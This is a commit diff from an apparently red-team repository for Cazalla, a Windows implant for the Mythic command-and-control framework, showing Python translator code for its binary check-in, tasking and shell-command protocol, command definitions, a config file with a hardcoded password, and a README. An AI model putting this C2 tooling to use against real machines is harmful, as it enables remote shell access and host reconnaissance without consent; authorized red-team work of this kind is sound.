seconds = dictionary_arguments.get("seconds") seconds = dictionary_arguments.get("seconds")
jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary
if seconds is None: if seconds is None:
raise ValueError("The 'seconds' key is required in the dictionary.") raise ValueError("The 'seconds' key is required in the dictionary.")
if not isinstance(seconds, int) or seconds < 0: if not isinstance(seconds, int) or seconds < 0:
raise ValueError("The 'seconds' value must be a non-negative integer.") raise ValueError("The 'seconds' value must be a non-negative integer.")
# Explicitly map parsed dictionary values to parameters # Explicitly map parsed dictionary values to parameters
self.add_arg("seconds", seconds) self.add_arg("seconds", seconds)
self.add_arg("jitter", jitter) self.add_arg("jitter", jitter)
class SleepCommand(CommandBase): class SleepCommand(CommandBase):
cmd = "sleep" cmd = "sleep"
needs_admin = False needs_admin = False
help_cmd = "sleep <segundos> [jitter]" help_cmd = "sleep <segundos> [jitter]"
description = "Cambiar el sleep." description = "Cambiar el sleep."
version = 1 version = 1
author = "Kaseya OFSTeam" author = "Kaseya OFSTeam"
attackmapping = ["T1029"] attackmapping = ["T1029"]
argument_class = SleepArguments argument_class = SleepArguments
attributes = CommandAttributes( attributes = CommandAttributes(
builtin=True, builtin=True,
supported_os=[ SupportedOS.Windows ], supported_os=[ SupportedOS.Windows ],
suggested_command=False suggested_command=False
) )
# async def create_tasking(self, task: MythicTask) -> MythicTask: # async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command") # task.display_params = task.args.get_arg("command")
# return task # return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse( response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID, TaskID=taskData.Task.ID,
Success=True, Success=True,
) )
return response return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp return resp
@@ -0,0 +1,71 @@
function(task, responses) {
console.log(task)
console.log("-------------------------------------------------------------------------------------------------------")
console.log(responses)
if (task.status.includes("error")) {
const combined = responses.reduce((prev, cur) => prev + cur, "");
return { 'plaintext': combined };
} else if (responses.length > 0) {
// Combine and split the responses into lines
const output = responses.reduce((prev, cur) => prev + cur, "").split("\n").filter(line => line.trim() !== "");
if (output.length === 0) {
return { 'plaintext': "No process information found." };
}
// Prepare the table structure
const formattedResponse = {
headers: [
{ plaintext: "Process Name", type: "string", fillWidth: true },
{ plaintext: "PPID", type: "number", width: 80 },
{ plaintext: "PID", type: "number", width: 80 },
{ plaintext: "Architecture", type: "string", width: 80 },
{ plaintext: "User Account", type: "string", fillWidth: true },
{ plaintext: "Session ID", type: "number", width: 80 }
],
title: "Process List",
rows: []
};
// Process each line to populate rows
output.forEach(line => {
const parts = line.split("\t");
// Ensure the array has up to 6 elements, filling missing parts with empty strings
while (parts.length < 6) {
parts.push("");
}
const [processName, ppid, pid, architecture, userAccount, sessionId] = parts;
// Add the row, ensuring missing fields are shown as empty cells
formattedResponse.rows.push({
"Process Name": {
plaintext: processName || "",
cellStyle: {}
},
"PPID": {
plaintext: ppid || "",
cellStyle: {}
},
"PID": {
plaintext: pid || "",
cellStyle: {}
},
"Architecture": {
plaintext: architecture || "",
cellStyle: {}
},
"User Account": {
plaintext: userAccount || "",
cellStyle: {}
},
"Session ID": {
plaintext: sessionId || "",
cellStyle: {}
}
});
});
return { table: [formattedResponse] };
} else {
return { 'plaintext': "No response yet from agent..." };
}
}
+10 -10
View File
@@ -1,11 +1,11 @@
#from mywebhook.webhook import * #from mywebhook.webhook import *
import mythic_container import mythic_container
import asyncio import asyncio
import cazalla import cazalla
#import websocket.mythic.c2_functions.websocket #import websocket.mythic.c2_functions.websocket
from translator.translator import * from translator.translator import *
#from my_logger import logger #from my_logger import logger
#from basic_command_augment import * #from basic_command_augment import *
#from basic_eventer.my_eventing import * #from basic_eventer.my_eventing import *
mythic_container.mythic_service.start_and_run_forever() mythic_container.mythic_service.start_and_run_forever()
+5 -5
View File
@@ -1,6 +1,6 @@
{ {
"rabbitmq_host": "127.0.0.1", "rabbitmq_host": "127.0.0.1",
"rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p", "rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p",
"mythic_server_host": "127.0.0.1", "mythic_server_host": "127.0.0.1",
"debug_level": "debug" "debug_level": "debug"
} }
+8 -8
View File
@@ -1,9 +1,9 @@
aio-pika==9.0.4 aio-pika==9.0.4
dynaconf==3.1.11 dynaconf==3.1.11
ujson==5.7.0 ujson==5.7.0
aiohttp==3.8.3 aiohttp==3.8.3
psutil==5.9.4 psutil==5.9.4
grpcio grpcio
grpcio-tools grpcio-tools
mythic-container mythic-container
pyaml pyaml
@@ -1,68 +1,76 @@
import json import json
commands = {
commands = { "get_tasking": {"hex_code": 0x00, "input_type": None},
"get_tasking": {"hex_code": 0x00, "input_type": None}, "checkin": {"hex_code": 0xf1, "input_type": None},
"checkin": {"hex_code": 0xf1, "input_type": None}, "post_response": {"hex_code": 0x01, "input_type": None},
"post_response": {"hex_code": 0x01, "input_type": None}, "shell": {"hex_code": 0x54, "input_type": "string"},
"shell": {"hex_code": 0x54, "input_type": "string"}, "exit": {"hex_code": 0x80, "input_type": None},
"exit": {"hex_code": 0x08, "input_type":None}, "sleep": {"hex_code": 0x38, "input_type": "int"},
"sleep": {"hex_code":0x38, "input_type":"int"} "ps": {"hex_code": 0x15, "input_type": None}
} }
def responseTasking(tasks):
def responseTasking(tasks): data = b""
data = b"" dataTask = b""
dataTask = b""
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1, "big") + len(tasks).to_bytes(4, "big")
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1,"big") + len(tasks).to_bytes(4, "big")
for task in tasks:
for task in tasks: command_to_run = task["command"]
command_to_run = task["command"] command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
if commands[command_to_run]["input_type"] == "string": task_id = task["id"].encode()
data = commands[command_to_run]["hex_code"].to_bytes(1, "big") task_id_bytes = task["id"].encode()
data += task["id"].encode() task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes
if task["parameters"] != "": if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
parameters = json.loads(task["parameters"]) data = command_code + task_id_serialized
data += len(parameters).to_bytes(4,"big") task_size = len(data)
for param in parameters: dataTask += task_size.to_bytes(4, "big") + data
data += len(parameters[param]).to_bytes(4, "big")
data += parameters[param].encode() print("input_type: None")
else: print(dataTask)
data += b"\x00\x00\x00\x00"
elif commands[command_to_run]["input_type"] == "string":
dataTask += len(data).to_bytes(4, "big") + data data = command_code + task_id
if task["parameters"] != "":
elif commands[command_to_run]["input_type"] == "int": parameters = json.loads(task["parameters"])
data = commands[command_to_run]["hex_code"].to_bytes(1, "big") data += len(parameters).to_bytes(4,"big")
data += task["id"].encode() for param in parameters:
data += len(parameters[param]).to_bytes(4, "big")
if task["parameters"] != "": data += parameters[param].encode()
parameters = json.loads(task["parameters"]) else:
data += len(parameters).to_bytes(4, "big") data += b"\x00\x00\x00\x00"
for param in parameters:
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente dataTask += len(data).to_bytes(4, "big") + data
else:
data += b"\x00\x00\x00\x00" elif commands[command_to_run]["input_type"] == "int":
dataTask += len(data).to_bytes(4, "big") + data data = command_code + task_id
if task["parameters"] != "":
dataToSend = dataHead + dataTask parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4, "big")
return dataToSend for param in parameters:
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
else:
def responseCheckin(uuid): data += b"\x00\x00\x00\x00"
data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01" dataTask += len(data).to_bytes(4, "big") + data
return data
dataToSend = dataHead + dataTask
def responsePosting(responses): print("estamos en el dataToSend\n")
data = len(responses).to_bytes(4, "big") print(dataToSend)
for response in responses: return dataToSend
if response["status"] == "success":
data += b"\x01"
else: def responseCheckin(uuid):
data += b"\x00" data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01"
return data
def responsePosting(responses):
data = len(responses).to_bytes(4, "big")
for response in responses:
if response["status"] == "success":
data += b"\x01"
else:
data += b"\x00"
return data return data
@@ -1,96 +1,112 @@
from translator.utils import * from translator.utils import *
import ipaddress import ipaddress
import json
def checkIn(data):
def checkIn(data):
# Retrieve UUID
uuid = data[:36] # Retrieve UUID
data = data[36:] uuid = data[:36]
data = data[36:]
# Retrieve IPs
numIPs = int.from_bytes(data[0:4]) # Retrieve IPs
data = data[4:] numIPs = int.from_bytes(data[0:4])
i = 0 data = data[4:]
IPs = [] i = 0
while i < numIPs: IPs = []
ip = data[:4] while i < numIPs:
data = data[4:] ip = data[:4]
addr = str(ipaddress.ip_address(ip)) data = data[4:]
IPs.append(addr) addr = str(ipaddress.ip_address(ip))
i += 1 IPs.append(addr)
i += 1
# Retrieve OS
targetOS, data = getBytesWithSize(data) # Retrieve OS
targetOS, data = getBytesWithSize(data)
# Retrive Architecture
archOS = data[0] # Retrive Architecture
if archOS == 0x64: archOS = data[0]
archOS = "x64" if archOS == 0x64:
elif archOS == 0x86: archOS = "x64"
archOS = "x86" elif archOS == 0x86:
else: archOS = "x86"
archOS = "" else:
data = data[1:] archOS = ""
data = data[1:]
# Retrieve HostName
hostname, data = getBytesWithSize(data) # Retrieve HostName
hostname, data = getBytesWithSize(data)
# Retrieve Username
username, data = getBytesWithSize(data) # Retrieve Username
username, data = getBytesWithSize(data)
# Retrieve Domaine
domain, data = getBytesWithSize(data) # Retrieve Domaine
domain, data = getBytesWithSize(data)
# Retrieve PID
pid = int.from_bytes(data[0:4]) # Retrieve PID
data = data[4:] pid = int.from_bytes(data[0:4])
data = data[4:]
# Retrieve Process Name
processName, data = getBytesWithSize(data) # Retrieve Process Name
processName, data = getBytesWithSize(data)
#Retrieve External IP
externalIP, data = getBytesWithSize(data) #Retrieve External IP
externalIP, data = getBytesWithSize(data)
dataJson = {
"action": "checkin", dataJson = {
"ips": IPs, "action": "checkin",
"os": targetOS.decode('cp850'), "ips": IPs,
"user": username.decode('cp850'), "os": targetOS.decode('cp850'),
"host": hostname.decode('cp850'), "user": username.decode('cp850'),
"domain": domain.decode('UTF-16LE'), "host": hostname.decode('cp850'),
"process_name":processName.decode('cp850'), "domain": domain.decode('UTF-16LE'),
"pid": pid, "process_name":processName.decode('cp850'),
"uuid": uuid.decode('cp850'), "pid": pid,
"architecture": archOS , "uuid": uuid.decode('cp850'),
"externalIP": externalIP.decode('cp850'), "architecture": archOS ,
} "externalIP": externalIP.decode('cp850'),
}
return dataJson
return dataJson
def getTasking(data):
numTasks = int.from_bytes(data[0:4]) def getTasking(data):
dataJson = { "action": "get_tasking", "tasking_size": numTasks } numTasks = int.from_bytes(data[0:4])
return dataJson dataJson = { "action": "get_tasking", "tasking_size": numTasks }
return dataJson
def postResponse(data):
def postResponse(data):
resTaks = [] print("Tamaño del Base64 recibido: {len(data)} bytes")
uuidTask = data[:36] resTaks = []
data = data[36:] uuidTask = data[:36]
output, data = getBytesWithSize(data) data = data[36:]
jsonTask = {
"task_id": uuidTask.decode('cp850'), output, data = getBytesWithSize(data)
"user_output":output.decode('cp850'),
} print("Tamaño después de extraer UUID: {len(data)} bytes")
jsonTask["completed"] = True try:
resTaks.append(jsonTask) decoded_output = output.decode('cp850')
except Exception as e:
dataJson = { print("Fallo al decodificar la salida: {e}")
"action": "post_response", decoded_output = "[ERROR DECODIFICANDO]"
"responses": resTaks
} jsonTask = {
return dataJson "task_id": uuidTask.decode('cp850'),
"user_output": decoded_output,
}
jsonTask["completed"] = True
resTaks.append(jsonTask)
dataJson = {
"action": "post_response",
"responses": resTaks
}
print("Respuesta generada: {json.dumps(dataJson, indent=4)}")
return dataJson
##FALLA ESTA MIERDA, PORQUE PARECE QUE LO QUE SE ENVIA ES CORRECTO, HAY QUE REVISAR ESTO
+52 -52
View File
@@ -1,52 +1,52 @@
import json import json
import base64 import base64
import binascii import binascii
import os import os
from translator.utils import * from translator.utils import *
from translator.commands_from_c2 import * from translator.commands_from_c2 import *
from translator.commands_from_implant import * from translator.commands_from_implant import *
from mythic_container.TranslationBase import * from mythic_container.TranslationBase import *
class cazalla_translator(TranslationContainer): class cazalla_translator(TranslationContainer):
name = "cazalla_translator" name = "cazalla_translator"
description = "python translation service for the Kaseya C agent Cazalla" description = "python translation service for the Kaseya C agent Cazalla"
author = "OFSTeam" author = "OFSTeam"
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse: async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
response = TrGenerateEncryptionKeysMessageResponse(Success=True) response = TrGenerateEncryptionKeysMessageResponse(Success=True)
response.DecryptionKey = b"" response.DecryptionKey = b""
response.EncryptionKey = b"" response.EncryptionKey = b""
return response return response
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse: async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True) response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message)) print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
if inputMsg.Message["action"] == "checkin": if inputMsg.Message["action"] == "checkin":
print("Response CHECKIN") print("Response CHECKIN")
response.Message = responseCheckin(inputMsg.Message["id"]) response.Message = responseCheckin(inputMsg.Message["id"])
elif inputMsg.Message["action"] == "get_tasking": elif inputMsg.Message["action"] == "get_tasking":
print("Response TASKING") print("Response TASKING")
response.Message = responseTasking(inputMsg.Message["tasks"]) response.Message = responseTasking(inputMsg.Message["tasks"])
elif inputMsg.Message["action"] == "post_response": elif inputMsg.Message["action"] == "post_response":
print("Response POSTREP") print("Response POSTREP")
response.Message = responsePosting(inputMsg.Message["responses"]) response.Message = responsePosting(inputMsg.Message["responses"])
return response return response
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse: async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True) response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850')) print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
#response.Message = json.loads(inputMsg.Message) #response.Message = json.loads(inputMsg.Message)
data = inputMsg.Message data = inputMsg.Message
if data[0] == commands["checkin"]["hex_code"]: if data[0] == commands["checkin"]["hex_code"]:
print("CHECK IN") print("CHECK IN")
response.Message = checkIn(data[1:]) response.Message = checkIn(data[1:])
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
print("GET TASKING") print("GET TASKING")
response.Message = getTasking(data[1:]) response.Message = getTasking(data[1:])
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
print("POST RESPONSE") print("POST RESPONSE")
response.Message = postResponse(data[1:]) response.Message = postResponse(data[1:])
return response return response
+6 -6
View File
@@ -1,7 +1,7 @@
import base64 import base64
import os import os
def getBytesWithSize(data): def getBytesWithSize(data):
size = int.from_bytes(data[0:4]) size = int.from_bytes(data[0:4])
data = data[4:] data = data[4:]
return data[:size], data[size:] return data[:size], data[size:]
+185 -185
View File
@@ -1,185 +1,185 @@
# Cazalla - Basic Mythic Implant in C # Cazalla - Basic Mythic Implant in C
Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework. Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework.
This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements. This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements.
Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates. Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates.
## Install Cazalla ## Install Cazalla
Once Mythic is installed and running, use the following command to install Cazalla: Once Mythic is installed and running, use the following command to install Cazalla:
```sh ```sh
./mythic-cli install github <repository-url> ./mythic-cli install github <repository-url>
``` ```
## Detection ## Detection
A YARA rule can be provided for detection purposes. A YARA rule can be provided for detection purposes.
## Communication Protocol ## Communication Protocol
### HEADER - Implant to C2 ### HEADER - Implant to C2
| Key | Key Len (bytes) | Type | | Key | Key Len (bytes) | Type |
|---------|-------------------|------------| |---------|-------------------|------------|
| UUID | 36 | Str (char*)| | UUID | 36 | Str (char*)|
| Action | 1 | UInt32 | | Action | 1 | UInt32 |
### HEADER - C2 to Implant ### HEADER - C2 to Implant
| Key | Key Len (bytes) | Type | | Key | Key Len (bytes) | Type |
|---------|-------------------|------------| |---------|-------------------|------------|
| Action | 1 | Int32 | | Action | 1 | Int32 |
UUID | BODY UUID | BODY
#### Checkin - Implant to C2 #### Checkin - Implant to C2
Expected: Expected:
```json ```json
{ {
"action": "checkin", "action": "checkin",
"uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15", "uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15",
"ip": "127.0.0.1", "ip": "127.0.0.1",
"os": "win", "os": "win",
"arch": "x64", "arch": "x64",
"hostname": "PC", "hostname": "PC",
"user": "bob", "user": "bob",
"domain": "domain.com", "domain": "domain.com",
"pid": 123, "pid": 123,
"processname": "malware.exe" "processname": "malware.exe"
} }
``` ```
| Key | Key Len (bytes) | Type | | Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------| |---------------|-------------------|-------------|
| UUID | 36 | Str (char*) | | UUID | 36 | Str (char*) |
| Size IP | 4 | Uint32 | | Size IP | 4 | Uint32 |
| IP | Size IP | Str (char*) | | IP | Size IP | Str (char*) |
| Size OS | 4 | Uint32 | | Size OS | 4 | Uint32 |
| OS | Size OS | Str (char*) | | OS | Size OS | Str (char*) |
| Architecture | 1 | Int | | Architecture | 1 | Int |
| Size Hostname | 4 | Uint32 | | Size Hostname | 4 | Uint32 |
| HostName | Size Hostname | Str (char*) | | HostName | Size Hostname | Str (char*) |
| Size Username | 4 | Uint32 | | Size Username | 4 | Uint32 |
| Username | Size Username | Str (char*) | | Username | Size Username | Str (char*) |
| Size Domain | 4 | Uint32 | | Size Domain | 4 | Uint32 |
| Domain | Size Domain | Str (char*) | | Domain | Size Domain | Str (char*) |
| PID | 4 | Uint32 | | PID | 4 | Uint32 |
| Size Process | 4 | Uint32 | | Size Process | 4 | Uint32 |
| Process Name | Size Process Name | Str (char*) | | Process Name | Size Process Name | Str (char*) |
| Size ExternIP | 4 | Uint32 | | Size ExternIP | 4 | Uint32 |
| Extern IP | Size Extern IP | Str (char*) | | Extern IP | Size Extern IP | Str (char*) |
### Checkin - C2 to Implant ### Checkin - C2 to Implant
| Key | Key Len (bytes) | Type | | Key | Key Len (bytes) | Type |
|----------|-------------------|-------------| |----------|-------------------|-------------|
| New UUID | 36 | Str (char*) | | New UUID | 36 | Str (char*) |
| Status | 1 | Byte | | Status | 1 | Byte |
### GetTasking - Implant to C2 ### GetTasking - Implant to C2
Expected: Expected:
```json ```json
{ {
"action": "get_tasking", "action": "get_tasking",
"tasking_size": 1 "tasking_size": 1
} }
``` ```
| Key | Key Len (bytes) | Type | | Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------| |---------------|-------------------|-------------|
| Number tasks | 4 | Uint32 | | Number tasks | 4 | Uint32 |
### GetTasking - C2 to Implant ### GetTasking - C2 to Implant
Expected: Expected:
```json ```json
{ {
"action": "get_tasking", "action": "get_tasking",
"tasks": [ "tasks": [
{ {
"command": "command name", "command": "command name",
"parameters": "command param string", "parameters": "command param string",
"timestamp": 1578706611.324671, "timestamp": 1578706611.324671,
"id": "task uuid" "id": "task uuid"
} }
] ]
} }
``` ```
| Key | Key Len (bytes) | Type | | Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------| |---------------|-------------------|-------------|
| NumberOfTasks | 4 | Uint32 | | NumberOfTasks | 4 | Uint32 |
| Size Of Task1 | 4 | Uint32 | | Size Of Task1 | 4 | Uint32 |
| Task1 CMD | 1 | Int | | Task1 CMD | 1 | Int |
| Task1 UUID | 36 | Str (char*) | | Task1 UUID | 36 | Str (char*) |
| Task1 LenPara1| 4 | Uint32 | | Task1 LenPara1| 4 | Uint32 |
| Task1 Param1 | LenParam1 Task1 | Str(char*) | | Task1 Param1 | LenParam1 Task1 | Str(char*) |
### Post Response Header - Implant to C2 ### Post Response Header - Implant to C2
| Key | Key Len (bytes) | Type | | Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------| |---------------|-------------------|-------------|
| Number Resp | 4 | Uint32 | | Number Resp | 4 | Uint32 |
### Post Response Header - C2 to Implant ### Post Response Header - C2 to Implant
| Key | Key Len (bytes) | Type | | Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------| |---------------|-------------------|-------------|
| Number Resp | 4 | Uint32 | | Number Resp | 4 | Uint32 |
### Post Response Classic Output Return - Implant to C2 ### Post Response Classic Output Return - Implant to C2
Expected: Expected:
```json ```json
{ {
"action": "post_response", "action": "post_response",
"responses": [ "responses": [
{ {
"task_id": "uuid of task", "task_id": "uuid of task",
... response message ... response message
} }
] ]
} }
``` ```
| Key | Key Len (bytes) | Type | | Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------| |---------------|-------------------|-------------|
| UUID Resp 1 | 36 | Str (char*) | | UUID Resp 1 | 36 | Str (char*) |
| Size Output R1| 4 | Uint32 | | Size Output R1| 4 | Uint32 |
| Output R1 | Size Output | Bytes | | Output R1 | Size Output | Bytes |
| Status R1 | 1 | Int | | Status R1 | 1 | Int |
### Post Response Classic Output Return - C2 to Implant ### Post Response Classic Output Return - C2 to Implant
Expected: Expected:
```json ```json
{ {
"action": "post_response", "action": "post_response",
"responses": [ "responses": [
{ {
"task_id": UUID, "task_id": UUID,
"status": "success" or "error", "status": "success" or "error",
"error": "error message if it exists" "error": "error message if it exists"
} }
] ]
} }
``` ```
| Key | Key Len (bytes) | Type | | Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------| |---------------|-------------------|-------------|
| Status Resp1 | 1 | Int | | Status Resp1 | 1 | Int |
## Future Development ## Future Development
This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities. This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities.
+7 -7
View File
@@ -1,7 +1,7 @@
{ {
"exclude_payload_type": false, "exclude_payload_type": false,
"exclude_c2_profiles": true, "exclude_c2_profiles": true,
"exclude_documentation_payload": true, "exclude_documentation_payload": true,
"exclude_documentation_c2": true, "exclude_documentation_c2": true,
"exclude_agent_icons": false "exclude_agent_icons": false
} }